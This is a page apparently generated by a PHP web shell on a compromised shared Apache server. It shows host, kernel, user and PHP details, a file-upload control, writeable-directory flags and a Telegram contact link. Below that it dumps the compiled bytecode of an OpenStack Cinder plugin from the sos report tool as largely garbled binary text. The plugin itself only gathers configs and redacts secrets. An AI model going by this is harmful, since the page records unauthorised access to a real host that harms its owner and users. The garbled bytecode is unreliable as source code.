https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/openstack_cinder.cpython-310.pyc
o

-�_g_�@sZddlZddlmZmZmZmZGdd�de�ZGdd�deee�ZGdd�dee�ZdS)	�N)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPluginc@s<eZdZdZdZdZdZdZdZdd�Z	d	d
�Z
dd�ZdS)
�OpenStackCinderzOpenStack cinder�openstack_cinder)�	openstack�openstack_controller)�.*cinder_apiz,/var/lib/config-data/puppet-generated/cinderNc
Cs|�d�d}d}gd�}d}|D]}|�|�}|rnq|�d�}|r)||j}|s-|r�|jd|dd	d
�|�d|�d��|�d|�d��|�d|�d
��|�d|�d��dd�dD�}dd�dD�}t|�rrt|�sy|j�d�nLgd�}	|	D]}
|�d|
�d��qgd�}|D]}
|�d|
�d��q�d}
|�	|
�}|ddkr�|d}
|
�
�D]}|��d}d|��}
|�|
�q�|�d�|�d |jd |jd!|jd"|jd#|jd$|jd%g�|�
d&�r�|�d'd(|j�d)�g�dS|�d*d(|j�d+�g�dS),Nz/etc/cinder/volumes�z--config-dir %s/etc/cinder/)�cinder_wsgizcinder-wsgi�
cinder-apiFr
zcinder-manage z db version�cinder_db_version)�suggest_filenamez backup listz config listz
 host listzcinder-status z upgrade checkcS�g|]}|tjv�qS���os�environ��.0�prr�E/usr/lib/python3/dist-packages/sos/report/plugins/openstack_cinder.py�
<listcomp>B�z)OpenStackCinder.setup.<locals>.<listcomp>)�OS_USERNAME�OS_PASSWORDcSrrrrrrrrEr)�OS_TENANT_NAME�OS_PROJECT_NAMEz}Not all environment variables set. Source the environment file for the user intended to connect to the OpenStack environment.)zbackend poolz
group type�message�qos�service�typezopenstack volume z list)�backup�groupzgroup snapshot�snapshotztransfer requestrz list --all-projectsz-openstack volume list -f value --all-projects�statusr�outputzopenstack volume show z/etc/cinder/z/etc/httpd/conf/z/etc/httpd/conf.d/z /etc/httpd/conf.modules.d/*.confz/etc/my.cnf.d/tripleo.cnfz/etc/sysconfig/�all_logsz/var/log/cinder/z	/var/log/z	*/cinder*z/var/log/cinder/*.logz
*/cinder*.log)�add_forbidden_path�check_process_by_name�container_exists�var_puppet_gen�add_cmd_output�all�any�soslog�warning�exec_cmd�
splitlines�split�
add_copy_spec�
get_option�	apachepkg)�self�
cinder_config�cinder_config_opt�cinder_process�in_ps�process�in_container�vars_all�vars_any�	list_cmds�cmd�list_cmds_projects�res�cinder_volumes�volumerrr�setups�

�


�
�
�
�
�		
�


�


�
�zOpenStackCinder.setupcCs&|�d||�|�|jd||�dS)z Apply regex substitution z
/etc/cinder/*N)�do_path_regex_subr,)r8�regexp�substrrr�apply_regex_sub�s
�zOpenStackCinder.apply_regex_subcCsJgd�}dg}d�|�}|�dd�|��d�d�|�d|�d�d�dS)	N)�admin_password�backup_tsm_password�
chap_password�nas_password�cisco_fc_fabric_password�coraid_password�eqlx_chap_password�fc_fabric_password�hitachi_auth_password�hitachi_horcm_password�hp3par_password�hplefthand_password�memcache_secret_key�netapp_password�netapp_sa_password�nexenta_password�password�
qpid_password�rabbit_password�san_password�ssl_key_password�vmware_host_password�zadara_password�zfssa_initiator_password�	hmac_keys�zfssa_target_password�os_privileged_user_password�
transport_url�
connection�|z(^\s*(z
)\s*=\s*)(.*)z\1*********z!)\s*=\s*(.*)://(\w*):)(.*)(@(.*))z
\1*********\6)�joinrK)r8�protect_keys�connection_keys�
join_con_keysrrr�postproc�s
�
�zOpenStackCinder.postproc)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�
containersr,r7rGrKrnrrrrrskrc@seZdZdZdZdZdS)�DebianCinderF�apache2)r
z
cinder-backupz
cinder-commonzcinder-schedulerz
cinder-volumez
python-cinderzpython3-cinderN)rorprq�cinderr7�packagesrrrrrv�srvcs(eZdZdZdZdZ�fdd�Z�ZS)�RedHatCinderF�httpd)zopenstack-selinuxcst���|�dg�dS)Nz/etc/sudoers.d/cinder)�superrGr5)r8��	__class__rrrG�s
zRedHatCinder.setup)rorprqrxr7ryrG�
__classcell__rrr}rrz�s
rz)	r�sos.report.pluginsrrrrrrvrzrrrr�<module>s

https://t.me/RX1948 - 2025